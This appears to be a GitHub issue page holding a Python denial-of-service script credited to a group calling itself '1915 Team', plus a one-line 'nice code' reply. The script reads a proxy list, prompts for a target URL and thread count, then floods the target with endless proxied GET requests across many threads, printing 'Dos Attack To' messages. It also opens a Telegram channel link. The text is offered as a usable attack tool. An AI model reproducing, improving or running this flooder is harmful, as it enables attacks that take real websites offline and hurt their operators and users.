Open brutalharshu opened 3 months ago
import requests from random import choice from platform import system import os from threading import Thread from time import sleep from webbrowser import open_new_tab def web(): sleep(3) open_new_tab('https://t.me/TE1915') req = requests.Session() def clear(): if system() == 'Windows': os.system('cls') elif system() == 'Linux': os.system('clear') def banner(): ba = '''\033[0;31m # ##### # ####### ####### ## # # ## # # ###### ## # # # # # # # # # # # # # ## ## # ###### # ###### # ##### # # # ## # # # # # # # ###### # # # # # # # # # # # # # # ##### ##### ##### ##### # ###### # # # # \033[0;32m Team members: [DeadCode | Toxic Code | Mr.Sami]''' bat = '''\033[0;36m ###### # ####### # # #### #### # # ##### ##### ## #### # # # #### #### # # # # # # # # # # # # # # # # # # # # # # # # # # #### # # # # # # # #### # # # # # # # # # # # ####### # # ###### # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # ###### #### #### # # # # # # #### # # # #### #### ###### # ##### # ####### ####### ## # # ## # # ###### ## # # # # # # # # # # # # # ## ## # ###### # ###### # ##### # # # ## # # # # # # # ###### # # # # # # # # # # # # # # ##### ##### ##### ##### # ###### # # # # ''' print(ba) sleep(4) clear() print(bat) banner() Thread(target=web).start() proxy = open('proxy.txt', 'r').read().splitlines() url = input("\033[0;33mEnter Your Link: ") th = int(input("\033[0;33mEnter Thread: ")) threads = [] def dos(): while True: ReProx = {f'https://{str(choice(proxy))}', f'http://{str(choice(proxy))}'} req.proxies = ReProx try: rr = req.get(url=url) print(f'\033[1;30m\033[0;32m[+]: 1915 Team ::\033[0;31m Dos Attack To: {url} \033[0;34mstatus code: {rr.status_code}') except: pass for i in range(th): thread1 = Thread(target=dos) thread1.start() threads.append(thread1) for thread2 in threads: thread2.join()
nice code